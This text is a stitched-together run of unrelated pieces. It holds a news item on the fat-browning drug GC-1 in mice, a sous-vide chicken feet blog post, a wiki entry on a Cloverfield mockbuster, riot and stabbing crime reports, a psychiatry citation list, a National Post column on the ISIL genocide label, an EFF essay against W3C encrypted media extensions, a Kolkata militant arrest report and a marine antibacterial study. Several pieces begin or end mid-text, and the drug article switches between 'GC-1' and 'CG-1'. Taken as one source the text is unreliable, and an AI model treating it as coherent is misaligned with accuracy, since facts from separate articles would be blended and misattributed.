"GC-1 dramatically increases the metabolic rate, essentially converting white fat, which stores excess calories and is associated with obesity and metabolic disease, into a fat like calorie-burning brown fat," lead researcher Kevin Phillips from the Houston Methodist Research Institute in the US said in a press release.
Although white fat helps us regulate our body temperature, Phillips calls it a "metabolic villain" when people build up too much of it. On the other hand, research has shown that people with more brown fat have a reduced risk of diabetes and obesity.
CG-1 turns white fat into brown fat by activating the receptors for thyroid hormone - a hormone that plays an important role in regulating the body's metabolism and is involved in converting excess energy into heat. It's has now been tested on hundreds of mice that have either diet-induced obesity or genetic obesity.
After taking the drug daily for approximately two weeks, genetically obese mice lost weight and also more than 50 percent of their fat mass. Mice that were obese as a result of their diets had a similar response, the researchers explain. They will be presenting their results this Friday at the Endocrine Society's 97th annual meeting in San Diego, US.
Mice that had been treated with the drug also had much better insulin sensitivity, in some cases as much as a six-fold improvement was seen, which suggests CG-1 is also protecting against diabetes.
Further tests on fat cells grown in a petri dish, as well as the fat tissue taken from mice, showed that the drug was converting the white fat into brown fat.
"Our data demonstrate that GC-1 is a novel fat-browning agent that may have use in the treatment of obesity and metabolic disease," Phillips said in the release. The news comes just a few days after researchers announced they'd found a hormone that mimics the effects of exercise - no lycra required.
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I’m going to level with you all: this week really kicked my butt, and it resulted in me going off script. Though I turned in early Sunday night with grand intentions of rising before 8 a.m.—which is very early and very responsible for a writer that works from home—around 11:30 p.m., I was struck with either food poisoning or a stomach virus or the pure wrath of the devil himself. I’ll spare you the details, but I was beyond useless on Monday (and for a good portion of Tuesday), which is why I was completely absent from our topic-picking session at the beginning of this week.
When my fever went down, and I was able to open up my laptop, I checked out your suggestions and noticed a fair amount of enthusiasm for innards, specifically chicken hearts. I was excited about it, but it was not to be. My closest grocery store didn’t have any, and honestly I was still pretty wiped-out and didn’t feel like walking in the rain to another store.
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The good news is that I ordered some, and we will be sous vide-ing the heck out them next week. The better news is that I went rogue and decided to sous vide chicken feet this week. Given the fact that these guys are packed with collagen—and can come out rather chewy if you’re not careful—they seemed like excellent contenders for our little experiment.
These particular feet came pre-peeled (but here’s how to peel them if yours don’t), so all I had to do was thaw them out and cut off the toes.
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Chicken feet are usually marinated—at least overnight—so once the chicken claws were relieved of their pokey tips, I tossed them with a marinade comprised of stuff I had in my fridge and pantry:
1/4 cup soy sauce
3/4 cup rice wine vinegar (In the future, I will be reducing this to 1/2 cup, and I suggest you do the same.)
1/2 cup fish sauce
2 cloves of garlic, minced
1 1/2-inch piece of fresh ginger, minced
1 teaspoon of red pepper flakes
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I put everybody in a bag, and let it hang out for 24 hours at 180℉ to let that collagen get all melty and the meat get nice and supple (and not chewy).
Then I did a lot of other things, because 24 hours is a lot of time. After a day of waiting—and like, living my life—I pulled the feet out of there and let them drain on a cooling rack.
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“Tender” doesn’t quite describe it. Not only were these the furthest thing from chewy, they were downright succulent, and were barely held together by their own skin. Speaking of that skin: it was a little flaccid, but that’s okay, because Crisco exists.
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I heated the cooking oil to 380℉, and fried each foot until it was browned and crispy.
I then whipped up a little sauce of sesame oil, honey, and a dipping sauce that had come with some poached chicken and rice I had ordered the night before from Nong’s (which is very good by the way).
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Now it’s time to ask that question: Will chicken feet sous vide?
The answer: Mmhmm. Indeed they do, and they do it well. Not only were these fall-off-the-bone tender, and not at all chewy, but cooking them in the marinade made them super flavorful. After a quick dip in the fryer, their skin crisped up nicely and made for some damn fine snacking. They were like wings, only less meaty, and much more obviously part of an animal. The only thing I didn’t love about them was the tiny bones.
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The film is a mockbuster created to capitalize on the release of Cloverfield. It was released direct-to-DVD on January 15, 2008.[1] Cloverfield was released theatrically three days later on January 18, 2008.
Plot [ edit ]
The film takes place in Tokyo in 2003, where two reporters, Erin and Sarah Lynch, have arrived to document unusual seismic disturbances that have been picked up around Tokyo. The disturbances are originally thought to be aftershocks left over from a supposed massive earthquake on the Kanto Fault that occurred two years previously, causing hundreds of thousands of casualties and several hundred billion dollars in damage(possibly referencing the real-life Fukuoka earthquake or the Miyagi earthquake), although careful analysis of the evidence suggests otherwise.
As time goes on, all of Tokyo begins to suffer from abnormal earth tremors similar to those registered in 2005. The tremors are found not to be caused by an earthquake, but by a gigantic octopus that has been dormant for centuries. It has since been awakened by mankind and now sees Tokyo as a new feeding-ground; the filmmakers document the catastrophe as it unfolds.
It starts as Erin and Sarah are talking about filming Tokyo. The scene then switches to the interior of Erin's car as the two drive to LAX, to catch their flight to Tokyo. In Tokyo they rent a hotel room, and, the next day, Sarah films Erin talking with the global warming minister. During the interview, an earthquake strikes and the scene again switches to the reporters in the basement of the environmental building. They find a survivor named Justin Robbins, and as they flee, they hear the sounds of panic and plane engines from a tunnel.
Later, they find a mall, and another earthquake occurs. In the chaos, Justin is impaled by a pole as the reporters flee in panic. Some small text appears on the screen saying that tape #3 was damaged. As the reporters run toward a mall they find a woman (Aiko) and her grandfather, and they eat and sleep, Erin not realizing she had left the camera turned on. Then, another earthquake begins and kills the grandfather as the woman tells the reporters to flee. They hear the mall explode as they run away and soon find a building which they enter. They have gone upstairs when the building suddenly collapses. The reporters survive, but the collapse damages the camera lens.
Night arrives and they see helicopters ready to save refugees, but a tentacle destroys them and proceeds to throw cars at the people, killing many of them. Panic ensues, and Sarah abandons Erin. A tentacle slams into the ground where Erin is and she is wounded. Additionally, the camera's batteries run low. Sarah cries for Erin as the crash of a tentacle hitting the ground is heard, ending the film, which indicates that the reporters were crushed by the monster and were among the thousands, if not millions, killed.
Reception [ edit ]
The few reviews of the film posted online have been extremely negative.[2][3] Scott Foy of Dread Central did an audio file parody of the "found footage" concept used by the movie: in this case, the file consists of Foy giving his thoughts on the movie while at the same time pretending to be slowly going insane due to the movie's abysmal quality; it culminates in him apparently jumping out of a window.[4] Foy would later state that some people actually thought his "insanity" was real[5] and would also name Monster the "Worst Direct To DVD Horror Movie of 2008" in a later podcast.[6] Other reviews referred to the Film as being 'terrible,' its pacing as 'horrendous' and the overall film to be 'astoundingly dull.'[7][8]
See also [ edit ]
Cloverfield , another monster film released in the same year
Commander Simon Foy, of Scotland Yard, said: ''It was quite a grave assault and his condition is causing us some concern.''
The witness, who have his name as Jim and owns stores on The Green and Devonshire Road, said: ''I went up to Spring Bridge Road to check on my other shop and saw him on the ground.
''The rioters had set a bin alight and then they jumped on him when he tried to put it out.
''They ran away when the police arrived, and they put him in the recovery position.''
He added: ''There were three police there and I was told to leave.
''The bin was still on fire when I got there.
''I'd had to go all the way around the rioters to get there so I'd put a hoodie on and put the hood up and I could see them mayheming.
''I only found out later that they had jumped him.
''I could see he was wearing shorts and T-shirt, with grey hair.''
The road remained closed off by police today as forensic teams examined the scene.
Several officers in white overalls, some wearing masks, could be seen taking away plastic bags of evidence and a black bin could be seen on its side in the street.
Litter covered the pavement and road near the scene, which is close to the Christ the Saviour church in Ealing Broadway.
Jim added that the rioters were also ''mugging customers'' in a nearby restaurant.
''Customers were sitting at the tables and they were just grabbing stuff from customers,'' he said.
This article has been cited by the following publications. This list is generated based on data provided by CrossRef.
Pirec, Vesna 2018. What Can Happen When Postpartum Anxiety Progresses to Psychosis? A Case Study. Case Reports in Psychiatry, Vol. 2018, Issue. , p. 1.
Boysan, Murat Yıldırım, Abdullah Beşiroğlu, Lütfullah Kefeli, Mehmet Celal and Kağan, Mücahit 2018. Development and Preliminary Psychometric Properties of an Instrument for the Measurement of Obsessional Dissociative Experiences: The Van Obsessional Dissociation Questionnaire (VOD-Q). Psychiatric Quarterly, Vol. 89, Issue. 3, p. 549.
Aardema, Frederick O`Connor, Kieron P. Delorme, Marie-Eve and Audet, Jean-Sebastien 2017. The Inference-Based Approach (IBA) to the Treatment of Obsessive-Compulsive Disorder: An Open Trial Across Symptom Subtypes and Treatment-Resistant Cases. Clinical Psychology & Psychotherapy, Vol. 24, Issue. 2, p. 289.
Le, Thien-An P. Merricks, Katie Nadeau, Joshua M. Ramos, Amaya and Storch, Eric A. 2017. Intensive Exposure and Response Prevention for Adolescent Body Dysmorphic Disorder With Comorbid Obsessive–Compulsive Disorder and Major Depressive Disorder. Clinical Case Studies, Vol. 16, Issue. 6, p. 480.
Nord, Camilla L Prabhu, Gita Nolte, Tobias Fonagy, Peter Dolan, Ray and Moutoussis, Michael 2017. Vigour in active avoidance. Scientific Reports, Vol. 7, Issue. 1,
Wu, Monica S. and Lewin, Adam B. 2017. The Wiley Handbook of Obsessive Compulsive Disorders. p. 492.
NASIROĞLU, Serhat and ÇERİ, Veysi 2017. SANRI BENZERİ SAPLANTILAR İLE SOMATİK SEMPTOMLARIN EŞLİK ETTİĞİ OBSESİF KOMPULSİF SEMPTOMLARIN AYIRICI TANISI, BİR OLGU SUNUMU. Kocatepe Tıp Dergisi, Vol. 18, Issue. 4, p. 157.
Jansson, Lennart and Nordgaard, Julie 2016. The Psychiatric Interview for Differential Diagnosis. p. 191.
Stein, D.J. Kogan, C.S. Atmaca, M. Fineberg, N.A. Fontenelle, L.F. Grant, J.E. Matsunaga, H. Reddy, Y.C.J. Simpson, H.B. Thomsen, P.H. van den Heuvel, O.A. Veale, D. Woods, D.W. and Reed, G.M. 2016. The classification of Obsessive–Compulsive and Related Disorders in the ICD-11. Journal of Affective Disorders, Vol. 190, Issue. , p. 663.
Wu, Monica S. and Storch, Eric A. 2016. Personalizing cognitive-behavioral treatment for pediatric obsessive-compulsive disorder. Expert Review of Precision Medicine and Drug Development, Vol. 1, Issue. 4, p. 397.
Morgado, Pedro 2015. Is “plausibility” a core feature of obsessions?. Revista Brasileira de Psiquiatria, Vol. 37, Issue. 4, p. 350.
Bortolon, Catherine and Raffard, Stéphane 2015. Self-reported psychotic-like experiences in individuals with obsessive-compulsive disorder versus schizophrenia patients: Characteristics and moderation role of trait anxiety. Comprehensive Psychiatry, Vol. 57, Issue. , p. 97.
Perreault, Valérie and O'Connor, Kieron 2014. Inference-Based Therapy: Processes of Change in Compulsions and Obsessional Beliefs. International Journal of Cognitive Therapy, Vol. 7, Issue. 1, p. 6.
Simon, Andor E. Umbricht, Daniel Lang, Undine E. and Borgwardt, Stefan 2014. Declining transition rates to psychosis: The role of diagnostic spectra and symptom overlaps in individuals with attenuated psychosis syndrome. Schizophrenia Research, Vol. 159, Issue. 2-3, p. 292.
Fear, Christopher F. 2013. Recent developments in the management of delusional disorders. Advances in Psychiatric Treatment, Vol. 19, Issue. 3, p. 212.
O'Connor, Kieron Ecker, Willi Lahoud, Monique and Roberts, Sarah 2012. Der inferenzbasierte Ansatz bei Zwangsstörungen. Verhaltenstherapie, Vol. 22, Issue. 1, p. 47.
Jacobsen, Pamela Freeman, Daniel and Salkovskis, Paul 2012. Reasoning bias and belief conviction in obsessive-compulsive disorder and delusions: Jumping to conclusions across disorders?. British Journal of Clinical Psychology, Vol. 51, Issue. 1, p. 84.
Fontenelle, Júlia M. Santana, Lívia da S. Lessa, Larissa da R. Victoria, Mara S. da Mendlowicz, Mauro V. and Fontenelle, Leonardo F. 2010. O conceito do insight em pacientes com transtorno obsessivo-compulsivo. Revista Brasileira de Psiquiatria, Vol. 32, Issue. 1, p. 77.
Alexander, Jacob 2010. SSRIs as a Treatment Alternative for Monosymptomatic Delusional Disorders. Australian & New Zealand Journal of Psychiatry, Vol. 44, Issue. 3, p. 295.
Leading Liberals don’t actually seem to have mounted those arguments, however, so I’m inclined to judge them on the ones they have. In Question Period on Wednesday, for example, Foreign Minister Stéphane Dion noted that the Swedish Parliament had also declined to call ISIL’s actions genocide. And … that seemed to be it. For the record, things Canada has done that Sweden has not include contesting the Second World War.
Well, this is a bit better: “We do not feel that politicians should be weighing in on this,” Prime Minister Justin Trudeau said in Question period on Tuesday. “Determinations of genocide need to be made in an objective, responsible way.” Thus, he said, his government had asked the UN Security Council “to make a determination on this.” Said council’s members include Russia and China, but hey, at least it’s a position.
Making the same argument in Question Period last week, Pam Goldsmith-Jones, Dion’s parliamentary secretary, quoted U.S. Secretary of State John Kerry at a March 17 press conference: “I am neither judge, nor prosecutor, nor jury with respect to the allegations of genocide.”
She did not, however, quote Kerry’s stated reason for assembling the press: “My purpose in appearing before you today is to assert that, in my judgment, Daesh is responsible for genocide against groups in areas under its control, including Yezidis, Christians and Shia Muslims.”
When Kerry faced near-identical demands to call ISIL’s atrocities genocide, his explanation was relatively clear: he wanted his ducks in a row. “We are currently doing what I have to do, which is review very carefully the legal standards and precedents,” he said in February. He did not suggest it was actually no business of his to make a call.
Furthermore, the principle that politicians mustn’t weigh in on genocide seemed not to trouble Trudeau as recently as April, when he noted the anniversary of the Armenian genocide. “We mark the 101st commemoration of the tragic loss of life … during the waning days of the Ottoman Empire in 1915,” his office wrote in a statement to the Armenian National Committee of Canada. “Both the Senate of Canada and the House of Commons have adopted resolutions referring to these events as genocide.”
Bodies that have not recognized the Armenian genocide as such include … the United Nations. But a UN report released Thursday calling ISIL’s attacks on the Yezidis genocide was good enough for the Liberals finally to concede the point with respect to that group. The Conservatives, naturally, then immediately began demanding they concede the point with respect to the other groups.
Kerry and his country have skin in the game. It actually matters what the United States calls it, given that it’s leading the military effort against ISIL. It does not matter what Canada calls it, because we haven’t been doing much about it — or indeed, about the slaughter of many times more Syrians by President Bashar Assad — and there is no sign of that changing.
I’m neither strongly opposed, nor strongly in favour, of an aggressive intervention. I don’t trust the people who plan these forays not to leave the place worse off, but I don’t think I could argue against a concerted Canadian attempt, however belated, to put an end to the bloodshed. Absent any such attempt attempt, however, it is utterly mortifying to watch Canadian politicians asserting moral superiority based on their vocabulary.
On the ISIL file, Conservatives talked big, but only sent six CF-18s to help; now they try to shame the Liberals, whose efforts are probably more substantial — albeit minus the jets, for no reason they have ever managed to articulate — simply because they won’t use a noun. And the Liberals couldn’t muster a half-plausible explanation for not using it.
My colleague David Akin recently noted Dion’s use of the toe-curling Liberal catchphrase “Canada’s back” at the UN Security Council. He suggested international observers would be confused, on account of Canada never having left. And it’s absolutely true: we’re still here, fighting pointless little battles. The party that claims to see the world as it is did little about the latest disaster in the Middle East, and the party that wallows in third-way peacekeeping honest-brokering mythopoeia seems happier than ever to splash about in an even more incoherent form of it.
To borrow another Liberal catchphrase, the world does not need more of this.
National Post
cselley@nationalpost.com
San Francisco police are investigating separate stabbings over the weekend in the Mission District and Chinatown that left two men wounded, including one with life-threatening injuries. San Francisco police are investigating separate stabbings over the weekend in the Mission District and Chinatown that left two men wounded, including one with life-threatening injuries. Photo: Spencer Platt / Getty Image, Getty Image Photo: Spencer Platt / Getty Image, Getty Image Image 1 of / 1 Caption Close 14-year-old boy sought in SF Mission District stabbing 1 / 1 Back to Gallery
A 32-year-old man suffered life-threatening injuries after he was stabbed in the chest Monday afternoon in San Francisco’s Mission District during a fight with a 14-year-old boy, police said.
The man was on the 1900 block of Mission Street near 16th Street around 5:30 p.m when he got into a fight with the teenager, said Officer Albie Esparza, a San Francisco Police Department spokesman. That’s when, according to the victim’s statement to police, the teenager stabbed him.
The victim, whose name has not been released, was taken to a hospital, where he remained in the intensive care unit Tuesday morning.
Police said the victim knew the suspected stabber, who police were trying to track down. No arrests have been made.
Authorities are asking anyone with information to call the San Francisco Police Department anonymous tip line at (415) 575-4444 or to text a tip to TIP411 and begin the message with “SFPD.”
Is the W3C in the business of protecting the open web and its users, or is it an arms-dealer supplying multinational companies with the materiel they need to rule the web? We're about to find out.
The W3C makes the open standards that allow anyone to make a browser that can read all the documents on the web, and anyone to make a document that can be read by any of those browsers. But in 2013, the W3C started work on a project to give entertainment companies control over who could make a browser that could show streaming videos, creating a standard for "encrypted media extensions" (EME) that Hollywood would control. Even if you make an EME-capable browser that doesn't violate any copyright laws, it will only show you videos if it also gets the blessing of some of the biggest media companies in the world.
Like all businesses, media companies have a mix of commercial preferences and legal rights. For example, companies have the legal right to prevent people from making and distributing copies of their videos, with important exceptions. The same copyright law that gives them that right also gives you—the viewer—legal rights, like the right to record a video to watch later, or to convert the video to a format that can be enjoyed by blind people. Maybe they'd prefer that you not record videos for later (for example, so they can charge extra for a "home recording" feature), but that's just a preference, not a right.
For decades, media companies have tried to convert their commercial preferences to legal rights, by invoking a 1998 law called the Digital Millennium Copyright Act (DMCA). Section 1201 of the DMCA makes it illegal to bypass software that locks up copyrighted works, even when you're doing something totally legitimate, like converting a video you're allowed to watch so it will play on an unsupported device. Companies design their products so that locking software (called "Digital Rights Management" or DRM) enforces their preferences, then argue that breaking the DRM is illegal, anything that displeases them is therefore a crime.
Companies whose browsers include EME can use DMCA 1201 to threaten competitors—or anyone, really—engaged in legitimate activities that have been vital to the web since day one. They can attack people who are adding features to help visually disabled people; they can attack companies adding legal features like time- and format-shifting; and scariest of all, they can attack security researchers who reveal defects in browsers that put every web user at risk. Security professionals who reveal companies' embarrassing software mistakes are often accused of breaking digital locks, since knowledge of software errors may be used to bypass DRM.
If the W3C approves EME, everything changes. The "open standards" that made the web so vibrant and democratic will only be available to people who promise not to offend the entertainment industry. In fact, the Open Source Initiative—the world's leading body for certifying open standards—has said that EME won't qualify as an open standard at all, a shameful first in the W3C's proud history.
EFF would prefer that the W3C abandon EME altogether. The W3C's job isn't to help companies make up private laws whose enforcement can be outsourced to public courts. When the W3C announced EME, we paid to join the W3C and make this argument from the inside. The W3C sided with the giant companies pushing for DRM in web standards. The W3C told us that we had a problem with the DMCA, not a problem with DRM itself (actually, we have a problem with both).
So we offered a compromise: take the DMCA off the table. Make W3C members promise not to use DMCA 1201 against anyone engaged in legitimate activity—activity that didn't violate copyright or any other law. Let security researchers—not the companies they embarrass—decide when and how to talk about the defects they find. Let accessibility organizations create tools to help people with disabilities. Let innovative companies make lawful products. As far as we can tell, there has never been a case where this would have prevented a legitimate rights-enforcement action. So if the W3C approved our proposal, things would stay exactly as they are: companies could enforce all the rights that Congress gave them, but wouldn't be able to use W3C standards to create new rights for themselves.
Now, the decision is in the W3C's hands. The charter for the EME working group runs out on November 30th, and the major corporations pushing for EME have said that they're done with their major work and ready to have the W3C publish their work without any safeguards against legal abuse.
In October, the W3C polled its members about EME. Dozens of those members spoke loudly and on the public record, demanding that the W3C halt work on EME unless some step is taken to prevent abuse of laws like the DMCA. Those members include:
* The Royal National Institute for Blind People (UK); Media Access Australia and Vision Australia; and Benetech and SSB Bart (USA): three continents' worth of blind-rights advocacy organizations.
EME means that groups like these won't be make tools to adapt video for their specific disabilities (for example, a tool to shift the colors of videos to help color-blind people; or a machine-learning tool that automatically adds descriptive tracks to videos);
* Brave: a new entrant into the browser market.
Companies that are starting out want to offer all legal features to their users, not just the ones that the entertainment companies and old browser companies have decided we should get;
* Oxford University, The Eindhoven University of Technology, Kings College London, The Open University, Lawrence Berkeley Labs, and others, representing some of the world's leading research institutions;
Their researchers can't afford to risk legal retaliation for investigating and reporting on defects in browsers;
* Ripple, Ethereum, Blockstream: three of the world's leading blockchain companies; they were joined by White Ops, a security company run by some of the industry's best-respected experts.
People who understand information security and cryptography are rightly alarmed at the thought of browsers that are off-limits to security researchers who can surface problems before they are exploited and used to attack users and companies alike;
* Hypothes.is and Dublin Core: two leading representatives of the open data/metadata sector.
The web depends on an open platform that anyone can improve, annotate and extend;
* Deutsche Nationalbibliothek: the national library of Germany, charged with archiving all German copyrighted works;
* Vivliostyle: a critical member of the standards community who has contributed significantly to W3C community.
Open standards can't be subject to a veto from a handful of self-interested companies;
* Electronic Frontier Foundation and the Center for Democracy & Technology: user-rights organizations with a long track record of fighting against corporate abuse of the standards-setting process.
Security researchers are alarmed, too. Hundreds of researchers have called on the W3C to protect their work. A group of principal investigators from CSAIL, MIT's computer science department -- which hosts the W3C -- sent a letter to the W3C executive, expressing concern that EME presents a danger to the work of MIT researchers and independent researchers alike, and calling out EME for what it is: a way to put proprietary content on the Web. This group was organized by Hal Abelson, one of the most esteemed computer scientists in the field today.
The W3C itself is deeply divided on this issue. The organization's head of strategy, Wendy Seltzer, publicly called on the organization to protect the web from DMCA abuse; she's joined by leading engineers from the W3C, who signed the security researchers' open letter.
Other web standards bodies, like the Web Hypertext Application Technology Working Group, have condemned the W3C for failing to protect innovators, disabled people and security researchers from the fallout from standardizing DRM.
DRM and the open web are not compatible with one another. The W3C exists to broker consensus among the web's many stakeholders, not to steamroller startups, disabled people, public interest groups, researchers, cryptographers, libraries and the academic and security communities on behalf of giant global corporations.
The other side of this debate argues that the DMCA might not apply to EME, so there's no reason to worry. We say they're wrong. The rules in DMCA 1201 have been spread across the world by the US Trade Representative—Israel is a notable exception, so it's no coincidence that the only security researcher who came forward to announce that Google's EME had been badly broken for six years was Israeli. There isn't a legal authority alive who could promise that people making legitimate changes to browsers with EME have nothing to fear from all these DMCA-alikes.
The stakes are high. We can't afford the gamble that the companies who want EME are right when they say it won't let them abuse the DMCA—if they're so certain that they can't invoke the DMCA over EME, it would cost them nothing to promise never to do so. The fact that they won't make this promise tells you everything you need to know about their assurances.
The arrested person has been identified as Sahadat Hossain, 26, a resident of Benapole port, Bangladesh.
The development came after the two ABT operatives, arrested on November 21, admitted that they had illegally infiltrated into the Indian territory from the Bangladesh border.
Hossain allegedly charged a fee of Rs 5000 to crossover India – Bangladesh border. Sources in the Kolkata STF said that he would also ask for aadhaar card and voter id and would often fix a hotel or lodge or a place to stay. He also helped them procure SIM cards besides documents.
Officers of the Special Task Force (STF) of Kolkata Police arrested one more suspected member of banned Bangladeshi group Ansarullah Bangla Team (ABT), also called Ansar Bangla, on Friday.
The police are on the lookout for two more persons — Shopon Biswas alias Sajol Ahmed alias Moon alias Tamim (23) and Nayan Gazi (28) alias Zafor alias Safik alias Saiful alias Ariful Gazi.
"We are now looking for Gazi. Both Gazi and Biswas are ABT members and had put up at a hotel in Howrah in the first week of October. They may be taking shelter anywhere in India and if anyone gives any lead, will be rewarded suitably," said Murlidhar Sharma, deputy commissioner (STF) told DNA.
ABT, which has direct links with Al-Qaeda network in the Indian subcontinent, is responsible for the brutal attacks and murder of atheist bloggers in Bangladesh between 2013 and 2015. The outfit is banned in Bangladesh.
The third man arrested by the Special Task Force (STF) of Kolkata Police on November 21 is a local arms dealer.
Antimicrobials; Antibacterial activity; Bactericidal activity; Mannora Channel
Introduction
The marine life constitute almost 80% of the world biota [1] and are source of unique natural products used as food, fragrances, pigments, insecticides, medicines etc. More or less 10,000 pharmacologically bioactive compounds have been derived from marine invertebrates such as tunicates, sponges, soft corals, sea hares, nudibranchs, bryozoans, sea slugs and other marine organisms [2].
The secondary metabolites derived from number of marine animals possess antibiotic, anti-parasitic, antiviral and anti-cancer activities [3,4]. The Tyrian purple an ancient dye pigment is the first natural product of marine origin reported in literature. Many mollusks mantle cavity produces mucus e.g. Muricid gastropods (rock snail) which defend the developing larvae against microbial infection [5].
Besides that wide range of bioactive metabolites known to occur in sponge genera Helicona, Petrosia and Discodema that act as powerful anti-cancer and anti-inflammatory agents [6]. Marine toxins such as tetrodoxin, soxitoxins, ciguatoxins and brachtoxin serve as specific sodium channel blockers and are useful in neurophysiological and neuropharmacological studies [7-10].
Among marine invertebrates, marine molluscs are the good source of bioactive metabolites. The bioactive compounds extracted from many classes of molluscs exhibit antitumor, antileukemic, antibacterial and antiviral properties [11,12].
Marine invertebrates rely solely on innate immune mechanisms that include both humoral and cellular responses. Humoral immunity in marine invertebrates is characterized by antimicrobial agents present in the blood cells and plasma [13]. Cellular immunity in marine invertebrates is based on cell defense reactions, including encapsulation, nodule formation, and phagocytosis [13].
The cellular component of marine invertebrate immunity is mediated by hemocytes (blood cell) of, motile cells that phagocytize microbes and secrete soluble antimicrobial and cytotoxic substances into the hemolymph (circulatory fluid of invertebrates comparable to the blood) [14].
Protein is a major biochemical constituent in all invertebrate and received highly attention due to their potential bioactive and functional properties. However, interest in marine proteins might not be only directly correlated to the intact protein, but also to the possibility of generating bioactive peptides. In this sense, different peptides derived from marine proteins have been identified as having antimicrobial activities [15].
The recent development in research on multi-drug-resistant bacteria suggests that animals living in unsanitary and unhygienic conditions have developed ways of protecting themselves against pathogenic microorganisms [16-22].
Despite being the hot spot of pollution, the Manora Channel is a rich source of invertebrate and vertebrate fauna [18,23-26]. In this present study Antibacterial activity was investigated against human pathogens A. baumannii, P. aeruginosa and E. coli k1 to search for new bioactive compounds. Water and Methanol extracts of Perna viridis, Nerita albicilla and Ozius rugulosus were tested for bactericidal effect.
Materials and Methods
Sampling site
Manora Channel lies in south of the city of Karachi at 24°47”N, 66°58”E. It is roughly 8 km long and 850 to 1000 m wide. The Channel is a hot spot of pollution. It is heavily polluted by untreated industrial wastewater and metropolitan municipal sewage discharged into coastal waters through Layari and Malir rivers. The Channel also receives all sorts of pollutants from Karachi Fish Harbour, shipyards, power plants and ships harbouring at Karachi Port. Despite being polluted, the channel is a rich source of invertebrate and vertebrate fauna (is all of the animal life of any particular region or time).
Animals selected for tissue extraction
The specimens of Nerita albicilla (gastropod), Perna viridis (mussel) and brachyuran crabs Ozius rugulosus, were brought live to the laboratory. The animals were dissected to separate their gills, gut and gonad. Tissue extracts were used for antibacterial assay.
Taxonomy and description of animals used for extraction
Phyum: Mollusca
Class: Gastropoda
Family: Neritidae
Genus: Nerita
Species: N. albicilla Linnaeus, 1758
Description: Nerita albicilla, is a species of sea snail, a marine gastropod. It is found on rocky cliffs, on rocks in the littoral fringe, and sometimes on mangrove trees [27] (Figures 2A and 2B).
Class: Bivalvia
Order: Lamellibranchia
Family: Mytilidae
Genus: Perna
Species: P. viridis Linnaeus, 1758
Description: The Asian Green Mussel, Perna viridis, is an economically noteworthy mussel, a bivalve in the family Mytilidae. The native range of the Asian green mussel broadly encompasses the Asia- Pacific and Indo-Pacific regions [28] (Figures 2C-2E).
Phylum: Arthropoda
Class: Crustacea
Family: Eriphiidae
Genus: Ozius
Species: O. rugulosus Stimpson, 1858
Description: Ozius rugulosus is a genus of crabs in the family Menippidae. This was found under a rock just at the edge of the beach rock. Distribution: Indo-west Pacific Oceans and Arabian Sea. Ecology: Rocky shore inhabits the crevices (A narrow opening resulting from crack of rocks) of rocks [29] (Figure 1).
Test microorganisms
Test microorganisms Acinetobacter baumannii, Pseudomonas aeruginosa, Escherichia coli K1 were obtained from microbial culture collection (MDL Lab.), Aga Khan University and Hospital, Karachi Pakistan.
Extraction of Bioactive compounds
After collection, the samples were rinsed with sterile seawater to remove associated debris. The bioactive compounds (Antibacterial peptides) were extracted in distilled water and methanol. Prepared sample as 10 gm of tissue+5 ml distilled water or 10 gm tissue+5 ml methanol. Tissues (gills, gut, gonad) were homogenized with the help of tissue homogenizer (Tekmar Tissuemizer, Type SDT 18/10) at 110 V. Later on tissues were sonicated by (Misonix Q55 Sonicator, (Ultrasonic Liquid Processor) used to speed dissolution, by breaking intermolecular interactions to disrupt cell membranes and release cellular contents (for three minutes). Then samples were centrifuged at 24696 g for 45 minutes and the supernatant was collected and stored at -80°C.
Antibacterial peptides
Antimicrobial peptides are a major component of the innate immune defense system in marine invertebrates. They are defined as molecules less than 10 kDa in mass which show antimicrobial properties [30] and provide an immediate and rapid response to invading microorgani [14]. There is evidence that antimicrobial peptides are widespread in invertebrates [31], especially in tissues such as gut and respiratory organs in marine invertebrates.
Antibacterial assay
Pathogenic bacterial strains (A. baumannii, P. aeruginosa and E. coli K1) were inoculated in sterile nutrient broth (Lauria broth) and incubated at 37°C for 24 hours. Various concentration of tissue extract with water and methanol were incubated with 10×6 bacterial cells and final volume was adjusted to 200 μl. Methanol alone was used as negative control. Then the tubes were incubated for 2 hours at 37°C and bacterial counts were enumerated by serial dilution and plating on nutrient agar plates as described by Khan et al. To determine the number of colony-forming units (cfu), plates were incubated overnight at 37°C. Bactericidal effect (BE) was determined as the percentage of bacteria surviving relative to the control (BE=100-(cfu in crude tissue extract/cfu in control×100). The entire test was carried out in triplicates.
Results
The methanol extracts and water extracts of marine molluscs, gastropods and crustaceans tested against 3 biofilm bacteria which showed bactericidal activity (Table 1). The overall screening showed highest activity in gut of Perna viridis 99.63% against P. aeruginosa. Low activity was observed in gonad of Perna viridis against E. coli K1. Other Methanol extracts were also able to produce bacterial inhibition against E. coli K1, A. baumannii and P. aeruginosa. Methanol extracts had better antibacterial effects rather than water extracts. Methanol alone was used as negative control. The extracts having antibacterial activity was determined by tube dilution assay and results were summarized in (Table 1 and Figures 3-5).
Discussion
Seawater is highly susceptible to contamination due to nearby municipal waste water. The more serious the contamination, the more abundant the distribution of the pathogens.
Animals living in filthy environment have developed ways of protecting themselves against pathogenic microorganisms [24].
More than hundred new antimicrobial compounds were isolated every year from marine invertebrates, such as sponges, gastropods, bivalves which shows broad spectrum of antimicrobial properties [32-34]. In recent years significant works have done antibacterial activities of mollusk. More than thousand new compounds has been categorized from marine invertebrates such as peptides, terpenes, polypropionates, nitrogenous compounds, polypeptides, macrolides, prostaglandins and fatty acid products, sterols and diverse compounds [34].
Both animals and plants possess potent, broad-spectrum antimicrobial peptides, which they use to fend off a wide range of microbes, including bacteria, fungi, viruses and protozoa [35].
Antimicrobial peptide defense in Crustacea has long been suspected. The isolation of several peptide factors displaying antimicrobial activities from crabs and shrimp. Prominent among crustacean antimicrobial peptides are the penaeidins, which display antifungal and antibacterial properties and were isolated from the hemolymph of the shrimp Penaeus vannamei [36].
The hemocytes of the shore crab Carcinus maenas have been shown to contain broad-spectrum antibacterial activity, and similar activity is displayed by the hemocytes of several other crustacean species [31,37].
Mollusks rely predominantly on cellular defense reactions in which invading microorganisms are encapsulated by blood cells or phagocytosed [38].
The Methanol extract was more active and showed antibacterial activity at lower concentrations. Most familiar active antimicrobial compounds are water insoluble and thus organic solvent extracts have been found more potent. Overall results of screening showed gut tissues (Perna viridis, Nerita albicilla and Ozius rugulosus) maximally kill pathogens. Sea animals are mainly composed of protein and gut region has more protein content rather than other body parts. As discussed above antibacterial activity in invertebrates is possibly due to action of antibacterial peptides.
A. baumannii has appeared as a highly worrying pathogen for many societies universally. The wide-ranging potential and the clinical severity of A. baumannii infections are predominantly related to multidrug-resistant (MDR) strains [39].
